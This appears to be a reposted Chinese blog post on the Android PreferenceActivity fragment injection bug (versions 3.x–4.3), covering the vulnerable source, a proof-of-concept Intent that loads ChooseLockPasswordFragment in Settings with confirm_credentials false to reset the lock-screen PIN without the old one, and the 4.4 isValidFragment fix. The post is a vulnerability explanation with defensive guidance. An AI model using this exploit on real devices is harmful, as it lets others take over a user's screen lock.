爲了適應愈來愈大的設備屏幕,Android在3.X後引入了Fragment概念,做用是能夠在一個屏幕上同時顯示多個Activity,以達到充分利用屏幕的目的。關於Fragment的使用說明,能夠閱讀http://blog.csdn.net/guolin_blog/article/details/8881711。其中,Fragment有一個很強大的功能,就是能夠動態加載。這樣可讓整個界面的開發更加靈活,能夠根據不一樣的場景動態加加載不一樣的Activity。html
回到今天的主題——利用Fragment實現注入攻擊。從3.X後,android工程師重構PreferenceActivity的實現,採用Fragment實現界面的加載。經過閱讀源碼能夠發現,PreferenceActivity的onCreate裏,須要讀取Intent的多個extra內容,常量都定義在PreferenceActivity裏(那堆EXTRA_XXXX就是了),其中有兩個常量分別是EXTRA_SHOW_FRAGMENT=":android:show_fragment"和java
EXTRA_SHOW_FRAGMENT_ARGUMENTS=":android:show_fragment_args",這兩個參數能夠決定當前的PreferenceActivity首次顯示的Fragment。過程比較簡單,就是先拿到fragment_class和fragment_args,而後經過反射生成一個Fragment實例,並動態加載。關鍵源碼以下所示:android
mSinglePane = hidingHeaders || !onIsMultiPane();安全
String initialFragment = getIntent().getStringExtra(EXTRA_SHOW_FRAGMENT);微信
Bundle initialArguments = getIntent().getBundleExtra(EXTRA_SHOW_FRAGMENT_ARGUMENTS);ide
int initialTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_TITLE, 0);測試
int initialShortTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_SHORT_TITLE, 0);ui
先獲取initalFragment和initialArguments兩個參數,以後在switchToHeaderInner裏完成實例化:this
private void switchToHeaderInner(String fragmentName, Bundle args, int direction) {spa
getFragmentManager().popBackStack(BACK_STACK_PREFS,
FragmentManager.POP_BACK_STACK_INCLUSIVE);
Fragment f = Fragment.instantiate(this, fragmentName, args);
FragmentTransaction transaction = getFragmentManager().beginTransaction();
transaction.setTransition(FragmentTransaction.TRANSIT_FRAGMENT_FADE);
transaction.replace(com.android.internal.R.id.prefs, f);
transaction.commitAllowingStateLoss();
}
到此爲止,咱們能夠經過設置Intent的extral,實現動態修改PreferenceActivity的初次顯示的Fragment。
咱們知道,在Android系統裏,App與App是互相隔離的,互相之間不能訪問對方的私有數據。App與App之間(更準確地說應該是組件與組件之間)的通信,統一使用Intent。經過Intent能夠很方便的喚起其餘App的Activity,達到功能重用的目的。好比平時使用ZAKER,你須要在微信圈裏分享,經過這種方式就能夠直接跳到微信的分享界面了。但使用這種方式的前提是目標Activity是exported的。
結合上面的兩個關鍵點,咱們是否能夠尋找一個exported的PreferenceActivity的子類,並經過精心設置Intent的extral的值,以實現打開那些沒有exported的界面呢?若是這些界面涉及安全方面信息的話,又會怎樣呢?
Setting幾乎每一個Android設備都有的。Setting是以system_uid方式簽名,因此具有行使system的權力。它的主界面com.android.settings.Settings就是繼承自PreferenceActivity,並且確定是exported。咱們以此做爲入口,嘗試尋找Setting裏有哪些重要的Fragment,並嘗試把它加載進來,主要目的是但願能夠跳過某些須要用戶交互的限制。好比說ChooseLockPassword$ChooseLockPasswordFragment這個Fragment,這個類主要是負責鎖屏界面的密碼設定和修改。同時,這個類會根據以前傳入的initialArguments作不一樣的邏輯,關鍵代碼以下所示:
Intent intent = getActivity().getIntent();
final boolean confirmCredentials = intent.getBooleanExtra("confirm_credentials", true);
if (savedInstanceState == null) {
updateStage(Stage.Introduction);
if (confirmCredentials) {
mChooseLockSettingsHelper.launchConfirmationActivity(CONFIRM_EXISTING_REQUEST,
null, null);
}
} else {
mFirstPin = savedInstanceState.getString(KEY_FIRST_PIN);
final String state = savedInstanceState.getString(KEY_UI_STAGE);
if (state != null) {
mUiStage = Stage.valueOf(state);
updateStage(mUiStage);
}
}
若是傳入的參數當中,key爲"confirm_credentials"爲true,就會調起舊密碼驗證的流程。若是爲false,就能夠跳過舊密碼驗證而直接進入密碼修改的流程。測試代碼以下所示:
Intent intent = new Intent();
intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
intent.setClassName("com.android.settings", "com.android.settings.Settings");
intent.putExtra(":android:show_fragment", "com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment");
intent.putExtra("confirm_credentials", false);
startActivity(intent);
正常的密碼修改流程是"設置"->"安全"->"屏幕鎖定"->"確認你的PIN",如所下圖所示:
若是運行DEMO,則直接進入以下界面:
這樣你直接輸入密碼,就能夠把原來的密碼覆蓋掉了。
這個BUG存在於3.X到4.3中的全部版本,4.4已經fix了。4.4強制全部PreferenceActivity必需要實現isValidFragment方法,詳細見這裏
我的總結:
應該說,這種修復方式,只是起到一個提醒的做用,最終的安全仍是交由開發者承擔。另外,目前不少應用都是基於2.X的,因此要兼容在4.4上跑而不crash,只要在PreferenceActivity的子類都補充加上isValidFragment方法就能夠了。但對於4.4以前的版,若是存在這種權限泄露的問題,仍是須要單獨處理的。下面給出兼容2.X~4.4修復的代碼示例:
public final class MyPreferenceActivity extends PreferenceActivity {
private boolean doValidcheck(String fragmentName) throws IllegalArgumentException{
//TODO 作合法性檢查
return true;
}
//添加上這個方法,以使2.x~4.3的代碼在4.4上能夠正常運行
protected boolean isValidFragment(String fragmentName) {
return doValidcheck(fragmentName);
}
@Override
protected void onCreate(Bundle savedInstanceState) {
//在onCreate前就作合法性判斷
String fragmentname = getIntent().getStringExtra(":android:show_fragment");
doValidcheck(fragmentname);
super.onCreate(savedInstanceState);
}
}
原文地址:http://blog.csdn.net/l173864930/article/details/17279165